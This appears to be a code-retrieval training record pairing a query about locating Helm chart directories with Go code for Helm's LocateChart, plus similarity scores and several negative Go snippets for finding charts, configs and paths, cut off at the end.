v\n\t}\n\n\tlog.Println(\" Attempting to Read Auto-Update Blacklist...\")\n\tcontent, err = fs.ReadAll(\"addons/update_blacklist.txt\")\n\tif err == nil {\n\t\tlog.Println(\" Read OK, loading...\")\n\t\tfor _, line := range strings.Split(string(content), \"\\n\") {\n\t\t\tline = strings.TrimSpace(line)\n\t\t\tif line == \"\" || line[0] == '#' {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdata.updateBlacklist[line] = true\n\t\t}\n\t} else {\n\t\tlog.Println(\" Read failed (this is most likely ok)\\n Error:\", err)\n\t}\n\n\tlog.Println(\" Attempting to Read Content Server List...\")\n\tcontent, err = fs.ReadAll(\"addons/content_servers.txt\")\n\tif err == nil {\n\t\tlog.Println(\" Read OK, loading...\")\n\t\tfor _, line := range strings.Split(string(content), \"\\n\") {\n\t\t\tline = strings.TrimSpace(line)\n\t\t\tif line == \"\" || line[0] == '#' {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tdata.Servers = append(data.Servers, line)\n\t\t}\n\t} else {\n\t\tlog.Println(\" Read failed (this is most likely ok)\\n Error:\", err)\n\t}\n\n\tlog.Println(\" Loading Addons From Local Directories...\")\n\n\tloadGlobals(fs, data, nil, nil, \"addons\")\n\tpmeta := loadMeta(fs, \"\", \"addons\", nil)\n\n\tfor _, dir := range fs.ListDirs(\"addons\") {\n\t\tloadDir(fs, data, dir, \"addons/\"+dir, nil, nil, pmeta)\n\t}\n\n\tlog.Println(\" Loading Addons From Globally Requested Addon Packs...\")\n\n\tfor _, pack := range global.Dependencies {\n\t\tloadPack(fs, log, data, pack, fs.Exists(\"addons/\"+pack+\".zip\"))\n\t}\n\n\tlog.Println(\" Loading Addons From Addon Packs...\")\n\n\tfor _, filename := range fs.ListFiles(\"addons\") {\n\t\tif strings.HasSuffix(filename, \".zip\") {\n\t\t\tname := rblutil.StripExt(filename)\n\t\t\tloadPack(fs, log, data, name, true)\n\t\t}\n\t}\n\n\tlog.Println(\" Checking Loaded Data...\")\n\n\t// Sort the addon list\n\tsort.Sort(addonSorter(data.List))\n\n\t// Add global files from addons\n\tdata.Globals.UpdateGlobals(data.List)\n\n\t// Fill in extra fields.\n\tfor _, addon := range data.List {\n\t\tdata.Table[addon.Meta.Name] = addon\n\t\tdata.Meta[addon.Meta.Name] = addon.Meta\n\t\tif addon.Meta.Tags[\"DocPack\"] {\n\t\t\tdata.DocPacks = append(data.DocPacks, addon.Meta)\n\t\t}\n\t}\n\n\t// Find any duplicates.\n\tdups := map[string]bool{}\n\tfor i := range data.List {\n\t\tif dups[data.List[i].Meta.Name] {\n\t\t\terrors.RaiseError(\" Duplicate addon found: \\\"\" + data.List[i].Meta.Name + \"\\\"\")\n\t\t}\n\t\tdups[data.List[i].Meta.Name] = true\n\t}\n\treturn data, nil\n}" ]
[ "0.69401693", "0.67860025", "0.6667731", "0.6296958", "0.6224137", "0.6205097", "0.6203969", "0.60339326", "0.6005427", "0.5969782", "0.5926162", "0.59133786", "0.5887185", "0.58507466", "0.5789335", "0.5752358", "0.5750637", "0.57266945", "0.56851685", "0.56775224", "0.56714344", "0.5663087", "0.5653746", "0.56035763", "0.5600504", "0.55972224", "0.55732787", "0.5565121", "0.5551113", "0.55495065", "0.5546872", "0.55453134", "0.55330783", "0.553011", "0.55292773", "0.5528083", "0.55129486", "0.55109406", "0.55039746", "0.55038035", "0.54995406", "0.5498557", "0.5490175", "0.54901576", "0.5490133", "0.5480354", "0.547507", "0.5474957", "0.54679585", "0.546179", "0.5449507", "0.5439342", "0.54374856", "0.5426254", "0.54241264", "0.5416276", "0.5414004", "0.5413339", "0.54127455", "0.5407065", "0.5399218", "0.5392746", "0.5388387", "0.53791016", "0.5376116", "0.5367319", "0.53663063", "0.5364444", "0.5360684", "0.53597915", "0.5352864", "0.53517675", "0.535044", "0.53431386", "0.5330064", "0.5325271", "0.5324861", "0.53191876", "0.531591", "0.53108484", "0.5308578", "0.53084457", "0.53043896", "0.5303613", "0.53004247", "0.5299599", "0.52989167", "0.5297941", "0.5296839", "0.52927977", "0.5289592", "0.5288468", "0.5287559", "0.5286773", "0.5281205", "0.52796024", "0.52768195", "0.5275554", "0.52741367", "0.52730393" ]
0.71347237
0
LocateChart looks for a chart directory in known places, and returns either the full path or an error.
func (c *ChartPathOptions) LocateChart(name, dest string, settings *cli.EnvSettings) (string, error) { name = strings.TrimSpace(name) version := strings.TrimSpace(c.Version) if _, err := os.Stat(name); err == nil { abs, err := filepath.Abs(name) if err != nil { return abs, err } if c.Verify { if _, err := downloader.VerifyChart(abs, c.Keyring); err != nil { return "", err } } return abs, nil } if filepath.IsAbs(name) || strings.HasPrefix(name, ".") { return name, errors.Errorf("path %q not found", name) } dl := downloader.ChartDownloader{ Out: os.Stdout, Keyring: c.Keyring, Getters: getter.All(settings), Options: []getter.Option{ getter.WithBasicAuth(c.Username, c.Password), getter.WithTLSClientConfig(c.CertFile, c.KeyFile, c.CaFile), getter.WithInsecureSkipVerifyTLS(c.InsecureSkipTLSverify), }, RepositoryConfig: settings.RepositoryConfig, RepositoryCache: settings.RepositoryCache, } if c.Verify { dl.Verify = downloader.VerifyAlways } if c.RepoURL != "" { chartURL, err := repo.FindChartInAuthAndTLSRepoURL(c.RepoURL, c.Username, c.Password, name, version, c.CertFile, c.KeyFile, c.CaFile, c.InsecureSkipTLSverify, getter.All(settings)) if err != nil { return "", err } name = chartURL } if err := os.MkdirAll(dest, 0755); err != nil { return "", err } filename, _, err := dl.DownloadTo(name, version, dest) if err == nil { lname, err := filepath.Abs(filename) if err != nil { return filename, err } return lname, nil } else if settings.Debug { return filename, err } atVersion := "" if version != "" { atVersion = fmt.Sprintf(" at version %q", version) } return filename, errors.Errorf("failed to download %q%s (hint: running `helm repo update` may help)", name, atVersion) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c *ChartPathOptions) LocateChart(name string, settings *cli.EnvSettings) (string, error) {\n\tf, err := repo.LoadFile(settings.RepositoryConfig)\n\tif err != nil || len(f.Repositories) == 0 {\n\t\treturn \"\", errors.Wrap(err, \"no repositories exist, need to add repo first\")\n\t}\n\n\te := f.Get(name)\n\tif e == nil {\n\t\treturn \"\", errors.Errorf(\"entry %s is not found\", name)\n\t}\n\treturn e.ExperimentFile, nil\n}", "func locateChartPath(repoURL, username, password, name, version string, verify bool, keyring,\n\tcertFile, keyFile, caFile string) (string, error) {\n\tname = strings.TrimSpace(name)\n\tversion = strings.TrimSpace(version)\n\tif fi, err := os.Stat(name); err == nil {\n\t\tabs, err := filepath.Abs(name)\n\t\tif err != nil {\n\t\t\treturn abs, err\n\t\t}\n\t\tif verify {\n\t\t\tif fi.IsDir() {\n\t\t\t\treturn \"\", errors.New(\"cannot verify a directory\")\n\t\t\t}\n\t\t\tif _, err := downloader.VerifyChart(abs, keyring); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t\treturn abs, nil\n\t}\n\tif filepath.IsAbs(name) || strings.HasPrefix(name, \".\") {\n\t\treturn name, fmt.Errorf(\"path %q not found\", name)\n\t}\n\n\tcrepo := filepath.Join(Settings.Home.Repository(), name)\n\tif _, err := os.Stat(crepo); err == nil {\n\t\treturn filepath.Abs(crepo)\n\t}\n\n\tdl := downloader.ChartDownloader{\n\t\tHelmHome: Settings.Home,\n\t\tOut: os.Stdout,\n\t\tKeyring: keyring,\n\t\tGetters: getter.All(Settings),\n\t\tUsername: username,\n\t\tPassword: password,\n\t}\n\tif verify {\n\t\tdl.Verify = downloader.VerifyAlways\n\t}\n\tif repoURL != \"\" {\n\t\tchartURL, err := repo.FindChartInAuthRepoURL(repoURL, username, password, name, version,\n\t\t\tcertFile, keyFile, caFile, getter.All(Settings))\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tname = chartURL\n\t}\n\n\tif _, err := os.Stat(Settings.Home.Archive()); os.IsNotExist(err) {\n\t\tos.MkdirAll(Settings.Home.Archive(), 0744)\n\t}\n\n\tfilename, _, err := dl.DownloadTo(name, version, Settings.Home.Archive())\n\tif err == nil {\n\t\tlname, err := filepath.Abs(filename)\n\t\tif err != nil {\n\t\t\treturn filename, err\n\t\t}\n\t\t//debug(\"Fetched %s to %s\\n\", name, filename)\n\t\treturn lname, nil\n\t} else if Settings.Debug {\n\t\treturn filename, err\n\t}\n\n\treturn filename, fmt.Errorf(\"failed to download %q (hint: running `helm repo update` may help)\", name)\n}", "func locateChartPath(settings *environment.EnvSettings, repoURL, username, password, name, version string, verify bool, keyring,\n\tcertFile, keyFile, caFile string) (string, error) {\n\tname = strings.TrimSpace(name)\n\tversion = strings.TrimSpace(version)\n\tif fi, err := os.Stat(name); err == nil {\n\t\tabs, err := filepath.Abs(name)\n\t\tif err != nil {\n\t\t\treturn abs, err\n\t\t}\n\t\tif verify {\n\t\t\tif fi.IsDir() {\n\t\t\t\treturn \"\", errors.New(\"cannot verify a directory\")\n\t\t\t}\n\t\t\tif _, err := downloader.VerifyChart(abs, keyring); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t\treturn abs, nil\n\t}\n\tif filepath.IsAbs(name) || strings.HasPrefix(name, \".\") {\n\t\treturn name, fmt.Errorf(\"path %q not found\", name)\n\t}\n\n\tcrepo := filepath.Join(settings.Home.Repository(), name)\n\tif _, err := os.Stat(crepo); err == nil {\n\t\treturn filepath.Abs(crepo)\n\t}\n\n\tdl := downloader.ChartDownloader{\n\t\tHelmHome: settings.Home,\n\t\tOut: os.Stdout,\n\t\tKeyring: keyring,\n\t\tGetters: getter.All(*settings),\n\t\tUsername: username,\n\t\tPassword: password,\n\t}\n\tif verify {\n\t\tdl.Verify = downloader.VerifyAlways\n\t}\n\tif repoURL != \"\" {\n\t\tchartURL, err := repo.FindChartInAuthRepoURL(repoURL, username, password, name, version,\n\t\t\tcertFile, keyFile, caFile, getter.All(*settings))\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tname = chartURL\n\t}\n\n\tif _, err := os.Stat(settings.Home.Archive()); os.IsNotExist(err) {\n\t\tos.MkdirAll(settings.Home.Archive(), 0744)\n\t}\n\n\tfilename, _, err := dl.DownloadTo(name, version, settings.Home.Archive())\n\tif err == nil {\n\t\tlname, err := filepath.Abs(filename)\n\t\tif err != nil {\n\t\t\treturn filename, err\n\t\t}\n\n\t\treturn lname, nil\n\t}\n\n\treturn filename, fmt.Errorf(\"failed to download %q (hint: running `helm repo update` may help)\", name)\n}", "func LocateHelmChart(chartRepo, chartName, chartVersion string) (*chart.Chart, error) {\n\tclient := action.NewInstall(nil)\n\tclient.ChartPathOptions.RepoURL = chartRepo\n\tclient.ChartPathOptions.Version = chartVersion\n\n\tcp, err := client.ChartPathOptions.LocateChart(chartName, settings)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tklog.V(5).Infof(\"chart %s/%s:%s locates at: %s\", chartRepo, chartName, chartVersion, cp)\n\n\t// Check chart dependencies to make sure all are present in /charts\n\tchartRequested, err := loader.Load(cp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := CheckIfInstallable(chartRequested); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn chartRequested, nil\n}", "func findHelmCharts(root string) ([]string, error) {\n\tcharts := []string{}\n\n\terr := filepath.Walk(root, func(path string, info os.FileInfo, err error) error {\n\t\tif info.IsDir() {\n\t\t\tif _, err := os.Stat(filepath.Join(path, \"Chart.yaml\")); err == nil {\n\t\t\t\tcharts = append(charts, path)\n\t\t\t\treturn filepath.SkipDir\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n\n\tsort.Strings(charts)\n\n\treturn charts, err\n}", "func (c *helmWrapper) chartDir() string {\n\treturn filepath.Join(c.Workspace(), \"chart\")\n}", "func findChartInRepoIndex(repoIndex *repo.IndexFile, repoURL, chartName, chartVersion string) (string, error) {\n\terrMsg := fmt.Sprintf(\"chart %q\", chartName)\n\tif chartVersion != \"\" {\n\t\terrMsg = fmt.Sprintf(\"%s version %q\", errMsg, chartVersion)\n\t}\n\tcv, err := repoIndex.Get(chartName, chartVersion)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"%s not found in repository\", errMsg)\n\t}\n\tif len(cv.URLs) == 0 {\n\t\treturn \"\", fmt.Errorf(\"%s has no downloadable URLs\", errMsg)\n\t}\n\treturn resolveChartURL(repoURL, cv.URLs[0])\n}", "func (v Ver) GetChartsDir() string {\n\tif len(common.Config.Rendering.ChartsDir) == 0 {\n\t\treturn path.Join(common.Config.Rendering.ResourceDir, \"helm\", v.String())\n\t}\n\treturn path.Join(common.Config.Rendering.ChartsDir, v.String())\n}", "func GetEtcdChartPath() string {\n\treturn filepath.Join(\"..\", \"..\", \"..\", \"..\", \"charts\", \"etcd\")\n}", "func (x *XDGDir) Find(suffix string) (absPath string, err error) {\n\tvar firstError error = nil\n\tfor _, path := range x.Dirs() {\n\t\tname := filepath.Join(path, suffix)\n\t\t_, err = os.Stat(name)\n\t\tif err == nil {\n\t\t\treturn name, nil\n\t\t} else if firstError == nil {\n\t\t\tfirstError = err\n\t\t}\n\t}\n\treturn \"\", firstError\n}", "func GetCurrentPath(filename string) (string, error) {\n\tif regexp.MustCompile(`[Dd]avidia`).MatchString(filename) {\n\t\tfile, err := exec.LookPath(filename)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tpath, err := filepath.Abs(file)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn filepath.Dir(path), nil\n\t}\n\treturn \".\", nil\n}", "func FindInSearchPath(searchPath, pkg string) string {\n\tpathsList := filepath.SplitList(searchPath)\n\tfor _, path := range pathsList {\n\t\tif evaluatedPath, err := filepath.EvalSymlinks(filepath.Join(path, \"src\", pkg)); err == nil {\n\t\t\tif _, err := os.Stat(evaluatedPath); err == nil {\n\t\t\t\treturn evaluatedPath\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\"\n}", "func downloadChart(client client.Client, s *releasev1.HelmRelease) (string, error) {\n\tconfigMap, err := rUtils.GetConfigMap(client, s.Namespace, s.Repo.ConfigMapRef)\n\tif err != nil {\n\t\tklog.Error(err)\n\t\treturn \"\", err\n\t}\n\n\tsecret, err := rUtils.GetSecret(client, s.Namespace, s.Repo.SecretRef)\n\tif err != nil {\n\t\tklog.Error(err, \" - Failed to retrieve secret \", s.Repo.SecretRef.Name)\n\t\treturn \"\", err\n\t}\n\n\tchartsDir := os.Getenv(releasev1.ChartsDir)\n\tif chartsDir == \"\" {\n\t\tchartsDir, err = ioutil.TempDir(\"/tmp\", \"charts\")\n\t\tif err != nil {\n\t\t\tklog.Error(err, \" - Can not create tempdir\")\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\tchartDir, err := rUtils.DownloadChart(configMap, secret, chartsDir, s)\n\tklog.V(3).Info(\"ChartDir: \", chartDir)\n\n\tif err != nil {\n\t\tklog.Error(err, \" - Failed to download the chart\")\n\t\treturn \"\", err\n\t}\n\n\treturn chartDir, nil\n}", "func getChartInfoFromChartUrl(\n\tchartUrl string,\n\tnamespace string,\n\tclient dynamic.Interface,\n\tcoreClient corev1client.CoreV1Interface,\n) (*ChartInfo, error) {\n\trepositories, err := chartproxy.NewRepoGetter(client, coreClient).List(namespace)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error listing repositories: %v\", err)\n\t}\n\n\tfor _, repository := range repositories {\n\t\tidx, err := repository.IndexFile()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error producing the index file of repository %q in namespace %q is %q\", repository.Name, repository.Namespace, err.Error())\n\t\t}\n\t\tfor chartIndex, chartVersions := range idx.Entries {\n\t\t\tfor _, chartVersion := range chartVersions {\n\t\t\t\tfor _, url := range chartVersion.URLs {\n\t\t\t\t\tif chartUrl == url {\n\t\t\t\t\t\treturn &ChartInfo{\n\t\t\t\t\t\t\tRepositoryName: repository.Name,\n\t\t\t\t\t\t\tRepositoryNamespace: repository.Namespace,\n\t\t\t\t\t\t\tName: chartIndex,\n\t\t\t\t\t\t\tVersion: chartVersion.Version,\n\t\t\t\t\t\t}, nil\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn nil, fmt.Errorf(\"could not find a repository for the chart url %q in namespace %q\", chartUrl, namespace)\n}", "func (p xdgPath) Find(path string) (string, error) {\n\tdataHome := os.Getenv(XDGDataHome)\n\tif dataHome != \"\" {\n\t\tdir := filepath.ToSlash(filepath.Join(dataHome, string(p), path))\n\t\t_, err := os.Stat(dir)\n\t\tif err != nil && !os.IsNotExist(err) {\n\t\t\treturn \"\", fmt.Errorf(\"get data home directory: %w\", err)\n\t\t}\n\n\t\tif err == nil {\n\t\t\treturn dir, nil\n\t\t}\n\t}\n\n\tdataDirs := os.Getenv(XDGDataDirs)\n\tif dataDirs != \"\" {\n\t\tdirs := strings.Split(dataDirs, \":\")\n\t\tfor _, dataDir := range dirs {\n\t\t\tdir := filepath.ToSlash(filepath.Join(dataDir, string(p), path))\n\t\t\t_, err := os.Stat(dir)\n\t\t\tif err != nil && !os.IsNotExist(err) {\n\t\t\t\treturn \"\", fmt.Errorf(\"get data dirs directory: %w\", err)\n\t\t\t}\n\n\t\t\tif err == nil {\n\t\t\t\treturn dir, nil\n\t\t\t}\n\t\t}\n\t}\n\n\thomeDir, err := os.UserHomeDir()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"get home dir: %w\", err)\n\t}\n\n\tdir := filepath.ToSlash(filepath.Join(homeDir, string(p), path))\n\t_, err = os.Stat(dir)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"get data dirs directory: %w\", err)\n\t}\n\n\treturn dir, nil\n}", "func FindConfig() (string, error) {\n\thomePath := os.Getenv(\"HOME\")\n\tcurPath, _ := os.Getwd()\n\troots := []string{homePath, curPath}\n\n\tvar files []os.FileInfo\n\tvar err error\n\tfor _, root := range roots {\n\t\tfiles, err = ioutil.ReadDir(root)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\tfor _, f := range files {\n\t\t\tif f.Name() == \".peer2.yaml\" {\n\t\t\t\treturn filepath.Join(root, f.Name()), nil\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\", &ConfigNotFoundError{}\n}", "func EnsureChartFetched(client helm.Client, base string, source *helmfluxv1.RepoChartSource) (string, bool, error) {\n\trepoPath, filename, err := makeChartPath(base, client.Version(), source)\n\tif err != nil {\n\t\treturn \"\", false, ChartUnavailableError{err}\n\t}\n\tchartPath := filepath.Join(repoPath, filename)\n\tstat, err := os.Stat(chartPath)\n\tswitch {\n\tcase os.IsNotExist(err):\n\t\tchartPath, err = downloadChart(client, repoPath, source)\n\t\tif err != nil {\n\t\t\treturn chartPath, false, ChartUnavailableError{err}\n\t\t}\n\t\treturn chartPath, true, nil\n\tcase err != nil:\n\t\treturn chartPath, false, ChartUnavailableError{err}\n\tcase stat.IsDir():\n\t\treturn chartPath, false, ChartUnavailableError{errors.New(\"path to chart exists but is a directory\")}\n\t}\n\treturn chartPath, false, nil\n}", "func LookPath(file string) (string, error) {}", "func FindConfigFile() *os.File {\n\tfor i := 0; i < cap(PossiblePaths); i++ {\n\t\tif _, err := os.Stat(PossiblePaths[i]); os.IsNotExist(err) {\n\t\t\tcontinue\n\t\t}\n\t\tf, err := os.Open(PossiblePaths[i])\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\n\t\treturn f\n\t}\n\tlog.Fatal(errors.New(\"No config file was found at the usual locations.\"))\n\treturn nil\n}", "func Location() (path string, err error) {\n\tif ocmconfig := os.Getenv(\"OCM_CONFIG\"); ocmconfig != \"\" {\n\t\treturn ocmconfig, nil\n\t}\n\n\t// Determine home directory to use for the legacy file path\n\thome, err := homedir.Dir()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tpath = filepath.Join(home, \".ocm.json\")\n\n\t_, err = os.Stat(path)\n\tif os.IsNotExist(err) {\n\t\t// Determine standard config directory\n\t\tconfigDir, err := os.UserConfigDir()\n\t\tif err != nil {\n\t\t\treturn path, err\n\t\t}\n\n\t\t// Use standard config directory\n\t\tpath = filepath.Join(configDir, \"/ocm/ocm.json\")\n\t}\n\n\treturn path, nil\n}", "func findConfigDir() (string, error) {\n\n\tvar p []string = []string{} // The directories in which we looked, for error message\n\tvar configDir string // The directory in which we found the configuration\n\n\t// Look for the developer's private configuration.\n\tif dir, err := os.Getwd(); err == nil {\n\t\tcfgdir := path.Join(dir, kCONFIG_DIR_DEV)\n\t\tcfgpath := path.Join(cfgdir, kCONFIG_FILENAME)\n\t\tp = append(p, cfgdir)\n\t\tif _, err := os.Stat(cfgpath); err == nil {\n\t\t\tconfigDir = cfgdir\n\t\t}\n\t}\n\n\t// If not found, look for the production configuration.\n\tif configDir == \"\" {\n\t\tcfgdir := kCONFIG_DIR_PROD\n\t\tcfgpath := path.Join(cfgdir, kCONFIG_FILENAME)\n\t\tp = append(p, cfgdir)\n\t\tif _, err := os.Stat(cfgpath); err == nil {\n\t\t\tconfigDir = cfgdir\n\t\t}\n\t}\n\n\t// Report an error if no configuration file was found.\n\tif configDir == \"\" {\n\t\treturn \"\", fmt.Errorf(\"Unable to locate configuration file %q in path %s\",\n\t\t\tkCONFIG_FILENAME, strings.Join(p, \":\"))\n\t} else {\n\t\treturn configDir, nil\n\t}\n}", "func DownloadChart(repo string, chart string, version string, dest string) (chartPath string, err error) {\n\n\tsettings := cli.New()\n\n\tactionConfig := new(action.Configuration)\n\tif err := actionConfig.Init(settings.RESTClientGetter(), settings.Namespace(), os.Getenv(\"HELM_DRIVER\"), debug); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tclient := action.NewInstall(actionConfig)\n\n\tp := getter.All(settings)\n\n\tchartDownloader := &downloader.ChartDownloader{\n\t\tOut: os.Stdout,\n\t\tVerify: downloader.VerifyIfPossible,\n\t\tKeyring: client.ChartPathOptions.Keyring,\n\t\tGetters: p,\n\t\tOptions: []getter.Option{},\n\t\tRepositoryConfig: settings.RepositoryConfig,\n\t\tRepositoryCache: settings.RepositoryCache,\n\t}\n\n\tchartRef := fmt.Sprintf(\"%s/%s\", repo, chart)\n\thelpers.CreateDestDir(dest)\n\n\tpath, _, err := chartDownloader.DownloadTo(chartRef, version, dest)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfmt.Printf(\"Chart downloaded to %s\\n\", path)\n\n\treturn path, nil\n}", "func (o *KubernetesAddonDefinitionAllOf) GetChartUrlOk() (*string, bool) {\n\tif o == nil || o.ChartUrl == nil {\n\t\treturn nil, false\n\t}\n\treturn o.ChartUrl, true\n}", "func GetEtcdCopyBackupsBaseChartPath() string {\n\treturn filepath.Join(\"..\", \"..\", \"..\", \"..\", \"charts\", \"etcd-copy-backups\")\n}", "func findCommandPath(command string, printScans bool) string {\n\tcommandPath := \"\"\n\n\tdir, err := os.Getwd()\n\tif err != nil {\n\t\texitWithError(\"unable to access current dir\", err)\n\t}\n\tfor {\n\t\trcPath := path.Join(dir, confName)\n\t\tif printScans {\n\t\t\tfmt.Println(\"checking\", rcPath)\n\t\t}\n\t\tif fileExist(rcPath) {\n\t\t\tm, err := loadConfig(rcPath)\n\t\t\tif err != nil {\n\t\t\t\texitWithError(\"unable to read\", rcPath, err)\n\t\t\t}\n\t\t\tif val, ok := m[command]; ok {\n\t\t\t\tcommandPath = val\n\t\t\t\tif printScans {\n\t\t\t\t\tfmt.Println(\"found\", commandPath)\n\t\t\t\t}\n\t\t\t\treturn commandPath\n\t\t\t}\n\t\t}\n\t\tparent := path.Dir(dir)\n\t\tif parent == dir {\n\t\t\tbreak\n\t\t}\n\t\tdir = parent\n\t}\n\n\tif commandPath == \"\" {\n\t\tm := readGlobalConf()\n\t\tif val, ok := m[command]; ok {\n\t\t\tcommandPath = val\n\t\t\tif printScans {\n\t\t\t\tfmt.Println(\"using default\", commandPath)\n\t\t\t}\n\t\t} else {\n\t\t\texitWithError(\"could not find\", command)\n\t\t}\n\t}\n\treturn commandPath\n}", "func resolve(c string) (string, error) {\n _, err := os.Stat(c)\n if err != nil {\n if !os.IsNotExist(err) {\n return \"\", err\n }\n c, err = exec.LookPath(c)\n if err != nil {\n return \"\", err\n }\n }\n return c, nil\n}", "func (k LocalClient) LookPath() (string, error) { return exec.LookPath(Command) }", "func findK8sLogPath(pod *workloadmeta.KubernetesPod, containerName string) string {\n\t// the pattern for container logs is different depending on the version of Kubernetes\n\t// so we need to try three possbile formats\n\t// until v1.9 it was `/var/log/pods/{pod_uid}/{container_name_n}.log`,\n\t// v.1.10 to v1.13 it was `/var/log/pods/{pod_uid}/{container_name}/{n}.log`,\n\t// since v1.14 it is `/var/log/pods/{pod_namespace}_{pod_name}_{pod_uid}/{container_name}/{n}.log`.\n\t// see: https://github.com/kubernetes/kubernetes/pull/74441 for more information.\n\n\tconst (\n\t\tanyLogFile = \"*.log\"\n\t\tanyV19LogFile = \"%s_*.log\"\n\t)\n\n\t// getPodDirectoryUntil1_13 returns the name of the directory of pod containers until Kubernetes v1.13.\n\tgetPodDirectoryUntil1_13 := func(pod *workloadmeta.KubernetesPod) string {\n\t\treturn pod.ID\n\t}\n\n\t// getPodDirectorySince1_14 returns the name of the directory of pod containers since Kubernetes v1.14.\n\tgetPodDirectorySince1_14 := func(pod *workloadmeta.KubernetesPod) string {\n\t\treturn fmt.Sprintf(\"%s_%s_%s\", pod.Namespace, pod.Name, pod.ID)\n\t}\n\n\toldDirectory := filepath.Join(podLogsBasePath, getPodDirectoryUntil1_13(pod))\n\tif _, err := os.Stat(oldDirectory); err == nil {\n\t\tv110Dir := filepath.Join(oldDirectory, containerName)\n\t\t_, err := os.Stat(v110Dir)\n\t\tif err == nil {\n\t\t\tlog.Debugf(\"Logs path found for container %s, v1.13 >= kubernetes version >= v1.10\", containerName)\n\t\t\treturn filepath.Join(v110Dir, anyLogFile)\n\t\t}\n\t\tif !os.IsNotExist(err) {\n\t\t\tlog.Debugf(\"Cannot get file info for %s: %v\", v110Dir, err)\n\t\t}\n\n\t\tv19Files := filepath.Join(oldDirectory, fmt.Sprintf(anyV19LogFile, containerName))\n\t\tfiles, err := filepath.Glob(v19Files)\n\t\tif err == nil && len(files) > 0 {\n\t\t\tlog.Debugf(\"Logs path found for container %s, kubernetes version <= v1.9\", containerName)\n\t\t\treturn v19Files\n\t\t}\n\t\tif err != nil {\n\t\t\tlog.Debugf(\"Cannot get file info for %s: %v\", v19Files, err)\n\t\t}\n\t\tif len(files) == 0 {\n\t\t\tlog.Debugf(\"Files matching %s not found\", v19Files)\n\t\t}\n\t}\n\n\tlog.Debugf(\"Using the latest kubernetes logs path for container %s\", containerName)\n\treturn filepath.Join(podLogsBasePath, getPodDirectorySince1_14(pod), containerName, anyLogFile)\n}", "func (fe *fakeExec) FindInPath(_ string, _ []string) (string, error) {\n\treturn \"\", nil\n}", "func FindConfigFile(start string) (string, error) {\n\tfilepath := path.Dir(start)\n\tfor i := 0; i < maxDepth; i++ {\n\t\t_, err := fs.Stat(path.Join(filepath, configFileName))\n\t\tif err != nil {\n\t\t\tfilepath = path.Join(filepath, \"..\")\n\t\t} else {\n\t\t\treturn path.Join(filepath, configFileName), nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"Config file not found\")\n}", "func (h *Helm) Load(chart, version string) (string, error) {\n\treturn h.locateChart(chart, version)\n}", "func Search(name string, paths []string) (string, error) {\n\tvar searchedPaths []string\n\tfor _, p := range paths {\n\t\tp = filepath.Join(p, name)\n\t\tif Exists(p) {\n\t\t\treturn p, nil\n\t\t}\n\n\t\tsearchedPaths = append(searchedPaths, filepath.Dir(p))\n\t}\n\n\treturn \"\", fmt.Errorf(\"could not locate `%s` in any of the following paths: %s\",\n\t\tfilepath.Base(name), strings.Join(searchedPaths, \", \"))\n}", "func (c *Client) SearchCharts(ctx context.Context, limit int, name string, offset int, tags string) (*chart.SearchResult, error) {\n\tparams := url.Values{}\n\tparams.Add(\"limit\", strconv.Itoa(limit))\n\tif name != \"\" {\n\t\tparams.Add(\"name\", name)\n\t}\n\tparams.Add(\"offset\", strconv.Itoa(offset))\n\tif tags != \"\" {\n\t\tparams.Add(\"tags\", tags)\n\t}\n\n\tresp, err := c.doRequest(ctx, \"GET\", ChartAPIURL, params, nil)\n\tif resp != nil {\n\t\tdefer resp.Body.Close()\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tmessage, _ := ioutil.ReadAll(resp.Body)\n\t\treturn nil, fmt.Errorf(\"Unexpected status code: %d: %s\", resp.StatusCode, message)\n\t}\n\n\tfinalCharts := &chart.SearchResult{}\n\n\terr = json.NewDecoder(resp.Body).Decode(finalCharts)\n\t_, _ = io.Copy(ioutil.Discard, resp.Body)\n\n\treturn finalCharts, err\n}", "func (i *IndexBuilder) ChartAbsPath(name string) string {\n\treturn path.Join(i.basePath(), name)\n}", "func (r *Repos) RepoChart(name string) (string, string) {\n\tres := strings.SplitN(name, \"/\", 2)\n\tif len(res) == 1 {\n\t\treturn r.Default, name\n\t}\n\treturn res[0], res[1]\n}", "func locateBrowserPath() string {\n\tbrowserPath := \"\"\n\tfor _, bp := range BrowserPaths {\n\t\t_, err := os.Stat(bp)\n\t\tif err == nil {\n\t\t\tbrowserPath = bp\n\t\t\tbreak\n\t\t}\n\t}\n\treturn browserPath\n}", "func dirLocator() func() (string, bool) {\n\tvar cur int\n\treturn func() (string, bool) {\n\t\tcur++\n\t\tswitch cur {\n\t\tcase 1:\n\t\t\treturn \"\", true\n\t\tcase 